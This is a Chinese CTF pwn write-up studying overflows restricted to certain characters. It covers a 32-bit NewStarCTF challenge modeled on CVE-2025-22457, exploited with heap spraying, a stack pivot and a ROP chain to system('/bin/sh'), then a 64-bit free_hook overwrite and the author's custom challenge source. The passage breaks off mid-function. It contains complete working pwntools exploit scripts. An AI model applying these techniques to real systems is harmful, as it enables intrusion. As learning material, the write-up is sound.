字符型溢出(32位和64位的研究)

做题之前,我们先配置一下tmux的鼠标控制,要不调试太不方便了

tmux set mouse on

通过上面这个指令,参考链接tmux使用指南:5 :滚动与鼠标支持_tmux set mouse on-CSDN博客

后面那几个题目是代打的,并不清楚题目来源,把整体用到的源码贴上去,手动编译一份的即可

跟gosh师傅要了一个newstar第四周的全场一解题的wp,感觉很有必要学习一下字符溢出拷贝的利用

32位的话是gosh师傅研究总结过的CVE-2025-22457

64位的话是hellor申想到的一种利用想法

话不多说,我们来学习学习

32位的字符型溢出的解题思路

论文链接如下

Is The Sofistication In The Room With Us? - X-Forwarded-For and Ivanti Connect Secure (CVE-2025-22457)

概览版本如下

CVE-2025-22457 | AttackerKB

该漏洞起源于对 X-Forwarded-For 头部值的处理不恰当从⽽导致了栈溢出,对于这个CVE的漏洞上面链接讲的很清楚了,我们主要是结合那个1解题题目去进行研究。

在newstarCTF 2025 week4 pwn⽅向中⼀题名为content

下面简单的贴一下协议的逆向过程

void __cdecl __noreturn vuln(int a1)
{
  char s[296]; // [esp+0h] [ebp-15Ch] BYREF
  void (__cdecl *v2)(char *); // [esp+128h] [ebp-34h]
  unsigned int un_len; // [esp+12Ch] [ebp-30h]
  char *n_addr; // [esp+130h] [ebp-2Ch]
  size_t n_4; // [esp+134h] [ebp-28h]
  size_t new_len; // [esp+138h] [ebp-24h]
  int all_len; // [esp+13Ch] [ebp-20h]
  int content; // [esp+140h] [ebp-1Ch]
  int offset; // [esp+144h] [ebp-18h]
  char *htp_date; // [esp+148h] [ebp-14h]
  ssize_t num; // [esp+14Ch] [ebp-10h]
  size_t use_len; // [esp+150h] [ebp-Ch]
  int *v13; // [esp+154h] [ebp-8h]

  v13 = &a1;
  init();
  use_len = 0;
  puts("welcome!");
  while ( 1 )
  {
    while ( 1 )
    {
      do
      {
LABEL_2:
        num = read(0, &str[use_len], 0x10000 - use_len);
        if ( num > 0 )
        {
          use_len += num;
          str[use_len] = 0;
          goto LABEL_7;
        }
      }
      while ( num && *__errno_location() == 4 );
      usleep(1000u);
LABEL_7:
      if ( use_len <= 3 )
        goto LABEL_2;
      htp_date = sol_htp(str, use_len);
      if ( htp_date )
        break;
      if ( use_len == 0x10000 )
      {
        n_addr = memchr(str, '\\n', 0x10000u);
        if ( n_addr )
        {
          un_len = n_addr - &str[&Elf32_Dyn - 134533108] + 1;// // 计算要移除的数据长度(从缓冲区开始到换行符+1)
          memmove(str, n_addr + 1, use_len - (n_addr - str + 1));// // 将换行符之后的数据移动到缓冲区开头
          use_len -= un_len;                    // // 更新缓冲区有效数据长度
        }
        else
        {
          use_len = 0;
        }
      }
    }
    offset = htp_date - &str[&Elf32_Dyn - 134533108];
    content = htp_content(str, offset);
    all_len = offset + content;                 //  HTTP 消息的结束位置(在缓冲区中的偏移量)HTTP 头部 + HTTP 消息体
    if ( use_len >= offset + content )
    {
      if ( !check_htp(str, all_len, s) )        // 如果解析失败(返回0)
        err_http("Bad Request");
      add_htp(s);
      if ( v2 )
        v2(s);
      else
        er_htp("Not Found");
      new_len = use_len - all_len;
      if ( use_len != all_len )                 // 在持久连接中处理多个请求
        memmove(str, &str[all_len], new_len);
      use_len = new_len;
      goto LABEL_7;
    }
    if ( use_len == 0x10000 )
    {
      err_http("Request too large or incomplete");
      n_4 = use_len - offset;
      if ( use_len != offset )
        memmove(str, &str[offset], n_4);
      use_len = n_4;
    }
  }
}

这个题目根据作用进行命名,做这个题目花了很长很长时间

为什么说这个题目是封装呢,因为这个题目虽然套了http通信协议,但是还是自身和自身通信,没有通过socket实现端对端的通信

漏洞的话是在下面这个函数内

int __cdecl check_htp(char *s1, size_t n, char *ptr)
{
  int struct_start; // eax
  char dest[50]; // [esp+6h] [ebp-82h] BYREF
  size_t num; // [esp+38h] [ebp-50h]
  char *ptr_struct; // [esp+3Ch] [ebp-4Ch]
  unsigned int len; // [esp+40h] [ebp-48h]
  int length; // [esp+44h] [ebp-44h]
  char *split_str; // [esp+48h] [ebp-40h]
  char *_n2_addr; // [esp+4Ch] [ebp-3Ch]
  void *str_tent; // [esp+50h] [ebp-38h]
  char *n2_addr; // [esp+54h] [ebp-34h]
  char *n1_addr; // [esp+58h] [ebp-30h]
  char *all_cont; // [esp+5Ch] [ebp-2Ch]
  char *tent; // [esp+60h] [ebp-28h]
  char *pass; // [esp+64h] [ebp-24h]
  void *str_middle; // [esp+68h] [ebp-20h]
  unsigned int index; // [esp+6Ch] [ebp-1Ch]
  char *start_ptr; // [esp+70h] [ebp-18h]
  char *split_addr; // [esp+74h] [ebp-14h]
  char *star_ptr; // [esp+78h] [ebp-10h]
  void *str; // [esp+7Ch] [ebp-Ch]

  memset(ptr, 0, 0x12Cu);                       // 初始化输出结构体
  if ( n <= 4 || strncmp(s1, "POST ", 5u) )     // 确保这是一个有效的 POST 请求
    return 0;
  *ptr = 1;                                     // 在输出结构体的第一个字节存储 1,表示这是一个 POST 请求
  str_middle = s1 + 5;                          //  // 跳过 "POST "
  pass = memchr(s1 + 5, 32, n - 5);             // 查找路径后的空格
  if ( !pass )
    return 0;
  *(ptr + 1) = str_middle;                      // 存储路径信息 (指针和长度)
  *(ptr + 2) = pass - str_middle;
  tent = sol_htp(s1, n);
  if ( !tent )
    return 0;
  *(ptr + 68) = tent;                           // // HTTP 版本起始位置
  *(ptr + 69) = n - (tent - s1);                // // 协议字段长度
  *(ptr + 67) = 0;                              //  // 头部字段计数器清零
  str = pass + 1;                               // 跳过路径后的空格
  all_cont = tent;                              // 设置头部结束位置(协议起始位置)
  n1_addr = memchr(pass + 1, '\\n', tent - (pass + 1));//  跳过请求行后的换行
  if ( !n1_addr )
    return 0;
  str = n1_addr + 1;
  while ( str < all_cont )                      // // 逐行解析头部
  {
    n2_addr = memchr(str, '\\n', all_cont - str);// 查找行尾换行符
    if ( !n2_addr )
      break;
    str_tent = str;
    _n2_addr = n2_addr;
    if ( str == all_cont || _n2_addr == str_tent + 1 && *str_tent == '\\r' )//  处理空行(头部结束标记)
    {
      str = n2_addr + 1;
    }
    else
    {
      split_str = memchr(str_tent, ':', _n2_addr - str_tent);// 查找冒号分隔符(键值对分隔符)
      if ( split_str )
      {
        star_ptr = str_tent;                    // 字段起始
        split_addr = split_str;                 // 冒号位置
        while ( star_ptr < split_addr && (*star_ptr == ' ' || *star_ptr == '\\t') )// 跳过键名前空白
          ++star_ptr;
        while ( star_ptr < split_addr && (*(split_addr - 1) == ' ' || *(split_addr - 1) == '\\t') )// 跳过键名后空白
          --split_addr;
        for ( start_ptr = split_str + 1; start_ptr < _n2_addr && (*start_ptr == ' ' || *start_ptr == '\\t'); ++start_ptr )// 处理键值(右侧),值起始位置,跳过值前空白
          ;
        index = _n2_addr;
        if ( start_ptr < _n2_addr && *(index - 1) == '\\r' )// 处理行尾回车(如果有)
          --index;
        while ( start_ptr < index && (*(index - 1) == ' ' || *(index - 1) == '\\t') )//  跳过值后空白
          --index;
        length = split_addr - star_ptr;         // 键名长度
        len = index - start_ptr;                // 键值长度
        if ( split_addr != star_ptr && *(ptr + 67) <= 15u )// 如果键名非空且字段计数未超限(最大16个)
        {
          struct_start = *(ptr + 67);           // 当前字段计数
          *(ptr + 67) = struct_start + 1;       // 增加计数
          ptr_struct = &ptr[16 * struct_start + 12];// 计算存储位置 (ptr + 12 + 16*v4)
          *ptr_struct = star_ptr;               // 存储键值对信息;存储键值对信息
          *(ptr_struct + 2) = length;           // 键值起始
          *(ptr_struct + 1) = start_ptr;        // 键名长度
          *(ptr_struct + 3) = len;              // 键值长度
        }
        if ( length == 3 && !strncasecmp(star_ptr, "CCB", 3u) )// 特殊处理 CCB 字段
        {
          *(ptr + 70) = start_ptr;              // CCB 值起始
          *(ptr + 71) = len;                    //  CCB 值长度
          num = strspn(start_ptr, "01\\n");      // 额外处理:验证 CCB 值格式(只含0/1/换行)
          memcpy(dest, start_ptr, num);         // 复制有效部分
        }
        str = n2_addr + 1;                      // 移动到下一行
      }
      else
      {
        str = n2_addr + 1;
      }
    }
  }
  return 1;
}

这里通过引动CCB可以实现0101的溢出

然后这个题的话是有三个路由的

.rodata:0804B169 aAdd            db '/add',0             ; DATA XREF: .data.rel.ro:add↓o
.rodata:0804B16E aAlloc          db '/alloc',0           ; DATA XREF: .data.rel.ro:0804CEEC↓o
.rodata:0804B175 aFree_0         db '/free',0            ; DATA XREF: .data.rel.ro:0804CEF4↓o
.rodata:0804B17B aPost           db 'POST ',0            ; DATA XREF: check_htp+35↑o
.rodata:0804B181 aCcb            db 'CCB',0              ; DATA XREF: check_htp+313↑o
.rodata:0804B185 a01             db '01',0Ah,0           ; DATA XREF: check_htp+344↑o
.rodata:0804B189 aContentLength  db 'Content-Length:',0  ; DATA XREF: htp_content+45↑o

这里是具体的路由的位置

补充一下这里的相关的数据段

.data.rel.ro:0804CEE4 add             dd offset aAdd          ; DATA XREF: add_htp+26↑r
.data.rel.ro:0804CEE4                                         ; add_htp+3C↑r
.data.rel.ro:0804CEE4                                         ; "/add"
.data.rel.ro:0804CEE8 fun_ptr         dd offset add_http      ; DATA XREF: add_htp+5E↑r
.data.rel.ro:0804CEEC                 dd offset aAlloc        ; "/alloc"
.data.rel.ro:0804CEF0                 dd offset calloc
.data.rel.ro:0804CEF4                 dd offset aFree_0       ; "/free"
.data.rel.ro:0804CEF8                 dd offset delete

段名

可写性

内容

重定位需求

.rodata

只读

常量字符串、常量数据

不需要

.data

可写

全局变量、静态变量

需要

.data.rel.ro

只读

需要重定位的指针数据

需要

.bss

可写

未初始化数据

不需要

.data.rel.ro是 只读重定位数据段(Read-Only Relocation Data),它包含:

  • .data:已初始化的数据
  • .rel:需要重定位的数据
  • .ro:只读属性

利用

程序恰好是 32 位的,那么通过 CVE-2025-22457 我们知道该种情形下可以利⽤堆喷射实现对 ASLR的绕过以及提供栈溢出的可⽤地址

我们这里主要利用上图贴出代码的这一块

这里是对应的汇编代码,这里可以考虑爆破libc执行system,但是太不现实了

mov     eax, [ebp+var_34]
sub     esp, 0Ch
lea     edx, [ebp+s]
push    edx
call    eax
add     esp, 10h
jmp     short loc_804A3B7

理论

我们只能写入01字符,也就是没有劫持执行流的目的

int __cdecl add_htp(_BYTE *p_s)
{
  size_t __add_; // eax
  int _add_; // eax
  int n_3; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  n_3 = return_3();
  for ( i = 0; ; ++i )
  {
    _add_ = i;
    if ( i >= n_3 )
      break;
    __add_ = strlen((&add)[2 * i]);             // "/add"
    if ( !strncmp(*(p_s + 1), (&add)[2 * i], __add_) )// "/add"
      *(p_s + 74) = *(&fun_ptr + 2 * i);
  }
  return _add_;
}

我们这里可以看到,我们的*(p_s + 74)来源于*(&fun_ptr + 2 * i);

我们的v2数组存放在vuln栈帧而不是check_htp栈帧,想要直接溢出修改v2数组的会直接导致崩溃

但是考虑到 check_htp() 返回时,会执⾏ leave; ret; 。因此我们可以控制ebp 进⽽控制v2 数组。

v2这个只能带有参数执行一次,所以说我们需要考虑自覆盖。

为此是有一个gadget,这个可以帮助我们实现栈迁移,这个gadget是pop ebp; cld; leave;ret;

其中cld指令是清空方向标志位,并不会触发崩溃,我们可以利用这个gadget迁移到heap上

首先我们根据程序,我们去定义一下我们用到的发送信息的请求头

def trigger_add(io, length=8, data=b"A"*8):
    payload = b"POST /add HTTP/1.1\r\n"
    payload += b"Content-Length: %d\r\n" % (len(f"length={length}&data=".encode()) + len(data))
    payload += b"\r\n"
    payload += b"length=%d&data=" % length
    payload += data
    io.send(payload)

def trigger_alloc(io, size=0x20, count=1):
    payload = b"POST /alloc HTTP/1.1\r\n"
    payload += b"Content-Length: %d\r\n" % (len(f"size={size}&count={count}".encode()))
    payload += b"\r\n"
    payload += b"size=%d&count=%d" % (size, count)
    io.send(payload)

def trigger_free(io, idx=0):
    payload = b"POST /free HTTP/1.1\r\n"
    payload += b"Content-Length: %d\r\n" % (len(f"idx={idx}".encode()))
    payload += b"\r\n"
    payload += b"idx=%d" % idx
    io.send(payload)

def trigger_ccb_test(io, ccb_value="010101"):
    payload = b"POST /test HTTP/1.1\r\n"
    payload += b"CCB: %s\r\n" % ccb_value.encode()
    payload += b"Content-Length: %d\r\n" % (len(f"data=AAAA".encode()))
    payload += b"\r\n"
    payload += b"data=AAAA"
    io.send(payload)

为了方便调试,我们关闭aslr

首先,我们通过大量申请堆,申请超级多个这个大小的堆块

    trigger_alloc(io, 0x10000, 0x200+0x50-0x2e-0x13-0xe+1)
    io.recvuntil(b'Allocated: ')

经过不断地调试,最后我们在这里写上我们的恶意数据

再之后就是我们覆写末位数据准备去实现栈迁移

0x0804A021直接在这里打断点就行

之后的话就是由自覆盖的read到泄露libc到shell层层递进即可

关闭aslr本地调试的死后遇到这个情况,我们把这个绕过去,并且设定为我们喜欢的数值,这样之后我们就能开开心心的call我们的地址了

上面卡住的原因主要是我们的a303030开头的那个地址是无效的一个地址,我们算好便宜让其成为有效地址即可

然后具体调试一下既可以让其执行rop

最终exp如下

这个题目主要是学习了利用栈上的变量存储函数指针的漏洞,以及堆喷控制地址的思想

因为没有远程,所以我们尝试的本地

from pwn import *
context.log_level = "info"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF("./chal")
libc = elf.libc
context.os = elf.os
context.arch = elf.arch
local = True
ip = "39.106.48.123"
port = 16512

def trigger_add(io, length=8, data=b"A"*8):
    payload = b"POST /add HTTP/1.1\r\n"
    payload += b"Content-Length: %d\r\n" % (len(f"length={length}&data=".encode()) + len(data))
    payload += b"\r\n"
    payload += b"length=%d&data=" % length
    payload += data
    io.send(payload)

def trigger_alloc(io, size=0x20, count=1):
    payload = b"POST /alloc HTTP/1.1\r\n"
    payload += b"Content-Length: %d\r\n" % (len(f"size={size}&count={count}".encode()))
    payload += b"\r\n"
    payload += b"size=%d&count=%d" % (size, count)
    io.send(payload)

def trigger_free(io, idx=0):
    payload = b"POST /free HTTP/1.1\r\n"
    payload += b"Content-Length: %d\r\n" % (len(f"idx={idx}".encode()))
    payload += b"\r\n"
    payload += b"idx=%d" % idx
    io.send(payload)

def trigger_ccb_test(io, ccb_value="010101"):
    payload = b"POST /test HTTP/1.1\r\n"
    payload += b"CCB: %s\r\n" % ccb_value.encode()
    payload += b"Content-Length: %d\r\n" % (len(f"data=AAAA".encode()))
    payload += b"\r\n"
    payload += b"data=AAAA"
    io.send(payload)



def run_attack(io):
    trigger_alloc(io, 0x10000, 0x200+0x50-0x2e-0x13-0xe+1)
    io.recvuntil(b'Allocated: ')

    trigger_alloc(io, 0x1000, 0x2+0x3)
    io.recvuntil(b'Allocated: ')

    trigger_alloc(io, 0x4000, 0x1)
    io.recvuntil(b'Allocated: ')

    log.success("The heap spray is success!")
    log.success("now, we need to set ROPs.")

    pop_ebp_cld_leave_ret = 0x080493a3
    pop_ebx_ret = 0x0804901e
    leave_ret = 0x08049215
    payload = p32(0x0a303030) * ((0xe10-0x15c)//4)
    payload += p32(0x080CD0C0)
    payload += p32(0x0a303030) * ((0x15c-0x38)//4)
    payload += p32(leave_ret)  # 栈迁移
    payload += p32(0x0a303030) * ((0x30)//4)#payload.ljust(0xc50, b'0')
    payload += p32(0x0a303030) + p32(pop_ebp_cld_leave_ret) + p32(0x0a303030+8) 
    payload += p32(elf.plt.read) + p32(0) + p32(0) + p32(0x0a303030) + p32(0x500)
    payload = payload.ljust(0x4000, b'\n')
    trigger_add(io, length=0x4000, data=payload)

    payload = '1'*0x82 + '000\n'
    trigger_ccb_test(io, ccb_value=payload)

    log.success("......")
    io.recvuntil(b"0_o", timeout=0.5)

    payload = p32(pop_ebx_ret + 1) * 0x10 + p32(elf.plt.puts) + p32(pop_ebx_ret) + p32(elf.got.printf)
    payload += p32(elf.plt.puts) + p32(pop_ebx_ret) + p32(elf.got.printf)
    payload += p32(elf.plt.read) + p32(0) + p32(0) + p32(0x0a303030) + p32(0x500)
    io.send(payload)

    printfs_libc = u32(io.recv(4, timeout=0.5)) # 如果喷涂失败,会接收超时。
    libc.address = printfs_libc - libc.sym.printf
    log.success("printf's libc address is 0x%lx." % printfs_libc)
    log.success("libc base is 0x%lx." % libc.address)

    sleep(1)

    system_ = libc.sym.system
    str_binsh = next(libc.search(b'/bin/sh\x00'))

    payload = p32(pop_ebx_ret + 1) * 0x30 + p32(system_) + p32(pop_ebx_ret) + p32(str_binsh)
    io.send(payload)

    io.interactive()


if __name__ == "__main__":
    for i in range(4097):
        print(f"[*] Running attempt {i+1}/4097")
        try:
            if local:
                io = process([elf.path])
            else:
                io = remote(ip, port)
            run_attack(io)
        except Exception as e:
            print(f"[!] Attempt {i+1} failed: {e}")
        finally:
            try:
                io.close()
            except:
                pass
    print("All attempts finished.")

64位

32位利用地址空间的狭小可以实现堆喷,但是64位的空间就变得很大,堆喷利用起来并不现实

为了证明hellor师傅的可行性,我花了一天多的时候定制了一道类似的题目,一个是限制了字符类型,另一个的是对于低8字节的数据维护

思想来源于一道题目

题目分析

这个函数有个200字节的输入,并且后面还有个8字节的拷贝

unsigned __int64 __fastcall handle_edit(__int64 a1, char a2)
{
  __int64 v2; // rax
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  _QWORD *v7; // [rsp+0h] [rbp-F0h]
  _BYTE v8[4]; // [rsp+1Ch] [rbp-D4h] BYREF
  _QWORD v9[25]; // [rsp+20h] [rbp-D0h] BYREF
  unsigned __int64 v10; // [rsp+E8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  puts("Enter new config data :");
  if ( fgets(v9, 200, stdin) )
  {
    *((_BYTE *)v9 + j_strcspn_ifunc(v9, "\n")) = 0;
    v2 = j_strlen_ifunc(v9);
    j_strncpy_ifunc(a1, v9, v2);
    *(_BYTE *)(a1 + j_strlen_ifunc(v9)) = 0;
    printf((unsigned int)"Do you want to backup to heap? (y/n): ", (unsigned int)v9, a1, v3, v4, v5, a2);
    if ( fgets(v8, 4, stdin) )
    {
      v8[j_strcspn_ifunc(v8, "\n")] = 0;
      if ( v8[0] == 121 || v8[0] == 89 )
      {
        *v7 = v9[0];
        puts("Backup done.");
      }
      else
      {
        puts("Backup skipped.");
      }
      puts("Config data processed and backup decision applied :)");
    }
  }
  return __readfsqword(0x28u) ^ v10;
}

然后我们看主函数,很明显的可以看到,我们这里是可以溢出覆写v11这个控制变量的,进而实现任意地址, 然后我们修改hook为system,然后传入binsh执行即可。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d
  char argv_1; // [rsp+0h] [rbp-70h]
  unsigned int p_n3; // [rsp+1Ch] [rbp-54h] BYREF
  _BYTE v10[64]; // [rsp+20h] [rbp-50h] BYREF
  _QWORD v11[2]; // [rsp+60h] [rbp-10h] BYREF

  argv_1 = (char)argv;
  v11[1] = __readfsqword(0x28u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  setup_buffers(v11);
  while ( 1 )
  {
    print_menu();
    if ( (unsigned int)_isoc99_scanf((unsigned int)"%d", (unsigned int)&p_n3, v3, v4, v5, v6, argv_1) != 1 )
      break;
    getchar();
    if ( p_n3 == 3 )
    {
      puts("Saving and exiting. Goodbye.");
      free(v11[0]);
      return 0;
    }
    if ( (int)p_n3 > 3 )
    {
LABEL_13:
      puts("Invalid option.");
    }
    else if ( p_n3 == 1 )
    {
      handle_edit((__int64)v10, v11[0]);
    }
    else
    {
      if ( p_n3 != 2 )
        goto LABEL_13;
      handle_view(v11[0]);
    }
  }
  while ( (unsigned int)getchar() != 10 )
    ;
  puts("Invalid choice. Exiting.");
  return 0;
}

这个题目是有free_hook,并且没有开启沙盒,可以考虑直接溢出大free_hook

并且给了任意8字节写

exp如下

#!/usr/bin/python3
from pwn import *
import os 
context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()

file_name = './secure_editor'
p = process(file_name)
#p = remote(")
elf = ELF(file_name)
libc = elf.libc


pie = 0
def dbg(* addrs):                                                       
    pay = ''                                                                    
    if pie:                                                                     
        for i in addrs:                                                         
            pay += 'b *$rebase( ' + str(i) + ')' + '\n'                         
    else:                                                                       
        for i in addrs:                                                          
            pay += 'b *' + str(i) + '\n'                                        
    gdb.attach(p,pay)       


def edit(content,mode='n'):
    rt("Save & Exit\n")
    sl('1')
    rt("new config data :\n")
    sl(content)

    rt("heap? (y/n): ")
    sl(mode)

def debug():
    gdb.attach(p)
    pause()

hook = 0x4E9E28
system = 0x411500
bss = elf.bss() + 0x100

edit(b'a' * 0x40 + flat(hook))
edit(p64(system),'y')

# debug()

edit(b'a' * 0x40 + flat(bss))
edit(b"/bin/sh",'y')

dbg(0x04022A6)

rt("Save & Exit\n")
sl('3')




it()

特意定制的一道题目

我们在上一道题目的基础做了做改编,使其受到更多的限制

首先是低8字节保护,也是失去了任意字节写

其次是沙盒保护,使其失去了劫持hook的可能,只能老老实实的按照我定制的思路去做

源码如下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stdint.h>

#define MAX_SIZE 512
#define CONFIG_SIZE 256


struct sock_filter filter[] = {
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,arch))),
    BPF_JUMP(BPF_JMP| BPF_JEQ,AUDIT_ARCH_X86_64,0,3),
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,nr))),
    BPF_JUMP(BPF_JMP| BPF_JEQ,__NR_execve,1,0),
    BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_ALLOW),
    BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_KILL),
};

struct sock_fprog prog = {
    .len = sizeof(filter) / sizeof(filter[0]),
    .filter = filter,
};


void sandbox(){
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
        perror("prctl(NO_NEW_PRIVS)");
        exit(1);
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) < 0) {
        perror("prctl(SECCOMP)");
        exit(1);
    }
}



void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void print_menu(){
    printf("\n=== Configuration Manager ===\n");
    printf("1. Edit config\n");
    printf("2. View config\n");
    printf("3. Exit\n");
    printf("4. Exchange\n");
    printf("5. return return return!");
    printf("Choice: ");
}

char **ptr;
void handle_edit(char *target_buffer, char **heap_backup) {
    char buf[MAX_SIZE];
    char buf_backup[MAX_SIZE];
    
    printf("enter new config data: ");
    if(fgets(buf, sizeof(buf), stdin)) {
        size_t len = strcspn(buf, "\n");
        buf[len] = 0;
        
        // 将用户输入复制到target_buffer
        strncpy(target_buffer, buf, strlen(buf));
        target_buffer[strlen(buf)] = 0;
    }
    
    printf("Do you want to backup to heap? (y/n): ");
    char choice[2];
    if(fgets(choice, sizeof(choice), stdin)) {
        puts("you have no choice,hhhhh");
        choice[0] = 'y';
        choice[strcspn(choice, "\n")] = 0;
        
        if (choice[0] == 'y' || choice[0] == 'Y') {
            // 将用户输入的内容复制到buf_backup
            strncpy(buf_backup, buf, strlen(buf));
            
            void *fake_addr;
            if (strlen(buf) >= 0x100) {
                // 从buf_backup[0x100]开始的8字节内容作为地址值
                // 方法1: 直接类型转换指针
                fake_addr = *(void **)&buf_backup[0x100];
                *heap_backup = (char *)fake_addr; 
                ptr = *(void **)&buf_backup[0];  // 这样ptr就指向我们输入的内容
            } else {
                // 如果输入不够长,从栈上获取地址
                puts("what off do you want");
                unsigned int off;
                scanf("%d",&off);
                
                // 修改后的操作:将buf_backup[off]位置的8字节内容作为地址值
                // 方法1: 直接类型转换指针(推荐)
                fake_addr = *(void **)&buf_backup[off];
                
                // 或者方法2: 使用memcpy(你原来的方法实际上是正确的)
                // memcpy(&fake_addr, &buf_backup[off], sizeof(void*));
                
                *heap_backup = (char *)fake_addr;  //这样错位应该是栈地址
                ptr = *(void **)&buf_backup[0];
            }
            
            printf("give you high_quality vuln\n");
            printf("ptr now points to: %p\n", ptr);
            printf("heap_backup now points to: %p\n", *heap_backup);
            puts("but nothing happens");
        } else {
            printf("give you low_quality vuln\n");
            puts("but nothing happens");
        }
    }
}


void handle_view(char *data){
    printf("\n--- File Content ---\n");
    write(1, data, 8);
    printf("\n--------------------\n");
}

void setup_buffers(char* ptr_heap)
{
    char *ptr;
    ptr = malloc(0x200);
    memset(ptr, 0, 0x200);
    ptr_heap = ptr;

}


char *heap_backup = NULL; //给出一个溢出影响不到的指针
int global_sign = 100;

int main(){
    unsigned int choice;
    init();
    sandbox();
    char config_data[CONFIG_SIZE];  //这里有越界,但是不能做到自己改变自我空间,需要一个指针
    char *heap_ptr = NULL;  //存储在生命周期更长的变量上,这个变量是一个烟雾弹,即便可以被溢出影响
    void *addr;
    
    setup_buffers(heap_ptr);
    while (1) {
        print_menu();
        
        if (scanf("%d", &choice) != 1) {
            break;
        }
        getchar(); 
        switch (choice) {
            case 1:
                handle_edit(config_data, &heap_backup);
                break;
            case 2:
                memcpy(&addr, config_data, sizeof(void*));
                if (addr == NULL) {
                    puts("Address is NULL!");
                    return;
                }
                handle_view((char *)addr);
                break;
            case 3:
                printf("Saving and exiting. Goodbye.\n");
                if (heap_ptr) {
                    puts("what are you ding???");
                    free(heap_ptr);
                }
                return 0;
            case 4:
                ptr = heap_backup;              //这里的话没有开始的8字节的保护
                memcpy(ptr,config_data,strlen(config_data));  //这里通过指针,将其内容拷贝到可控制的区域,实现的话类似于改地址之后直接去写
                size_t actual_length = strlen(config_data) ;
                char *end_pos = (char *)ptr + actual_length;  // 数据结束位置
                ptr = (void *)((uintptr_t)end_pos & ~7UL);    // 向下8字节对齐*/

                puts("give you a choice to set zero");
                char choice[2];
                if(fgets(choice, sizeof(choice), stdin)) {
                    choice[strcspn(choice, "\n")] = 0;
                    if (choice[0] == 'y' || choice[0] == 'Y') {
                        int n;
                        scanf("%d",&n);
                        ptr[n] = 0;
                    }
                }
                global_sign --;
                break;
            case 5:
                puts("return return return!");
                return 0;
            default:
                printf("Invalid option.\n");
        }
    }
    puts("???what are you doing???");
    exit(0);
}

编译指令如下

gcc -fstack-protector-strong -no-pie -g -static -o  myedit_machine myedit.c

题目分析

主函数如下,多加了一个选项,也就是把原先的选项1功能分解成了选项1和选项4

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d
  __int64 v8; // rax
  int v9; // edx
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d
  unsigned int choice; // [rsp+0h] [rbp-140h] BYREF
  int n; // [rsp+4h] [rbp-13Ch] BYREF
  void *addr; // [rsp+8h] [rbp-138h]
  char *heap_ptr; // [rsp+10h] [rbp-130h]
  size_t actual_length; // [rsp+18h] [rbp-128h]
  char *end_pos; // [rsp+20h] [rbp-120h]
  char choice_0[2]; // [rsp+2Eh] [rbp-112h] BYREF
  char config_data[264]; // [rsp+30h] [rbp-110h] BYREF
  unsigned __int64 v21; // [rsp+138h] [rbp-8h]

  v21 = __readfsqword(0x28u);
  init();
  sandbox();
  heap_ptr = 0;
  setup_buffers(0);
  while ( 2 )
  {
    print_menu();
    if ( (unsigned int)_isoc99_scanf((unsigned int)"%d", (unsigned int)&choice, v3, v4, v5, v6, choice) != 1 )
    {
      puts("???what are you doing???");
      exit(0);
    }
    getchar();
    switch ( choice )
    {
      case 1u:
        handle_edit(config_data, &heap_backup);
        continue;
      case 2u:
        addr = *(void **)config_data;
        if ( *(_QWORD *)config_data )
        {
          handle_view((char *)addr);
          continue;
        }
        return puts("Address is NULL!");
      case 3u:
        puts("Saving and exiting. Goodbye.");
        if ( heap_ptr )
        {
          puts("what are you ding???");
          free(heap_ptr);
        }
        return 0;
      case 4u:
        ptr = (char **)heap_backup;
        v8 = j_strlen_ifunc(config_data);
        j_memcpy(ptr, config_data, v8);
        actual_length = j_strlen_ifunc(config_data);
        end_pos = (char *)ptr + actual_length;
        ptr = (char **)(((unsigned __int64)ptr + actual_length) & 0xFFFFFFFFFFFFFFF8LL);
        puts("give you a choice to set zero");
        if ( fgets(choice_0, 2, stdin) )
        {
          choice_0[j_strcspn_ifunc(choice_0, "\n")] = 0;
          if ( choice_0[0] == 121 || choice_0[0] == 89 )
          {
            _isoc99_scanf((unsigned int)"%d", (unsigned int)&n, v9, v10, v11, v12, choice);
            ptr[n] = 0;
          }
        }
        --global_sign;
        continue;
      case 5u:
        puts("return return return!");
        return 0;
      default:
        puts("Invalid option.");
        continue;
    }
  }
}

我们的edit如下

这里是剥夺了选择的机会,也就是无论如下上次的低8字节必须被覆写掉,这里主要是防止非预期,其实假如说没有这个限制的话影响不大,我们这种题目的话似乎是只能从上往下写的

void __cdecl handle_edit(char *target_buffer, char **heap_backup)
{
  char v2; // dl
  char target_buffer_1; // dl
  __int64 v4; // rdx
  __int64 v5; // rax
  __int64 v6; // rax
  int v7; // edx
  int v8; // ecx
  int v9; // r8d
  int v10; // r9d
  char v11; // dl
  char v12; // dl
  char **heap_backupa; // [rsp+0h] [rbp-440h]
  unsigned int off; // [rsp+14h] [rbp-42Ch] BYREF
  size_t len; // [rsp+18h] [rbp-428h]
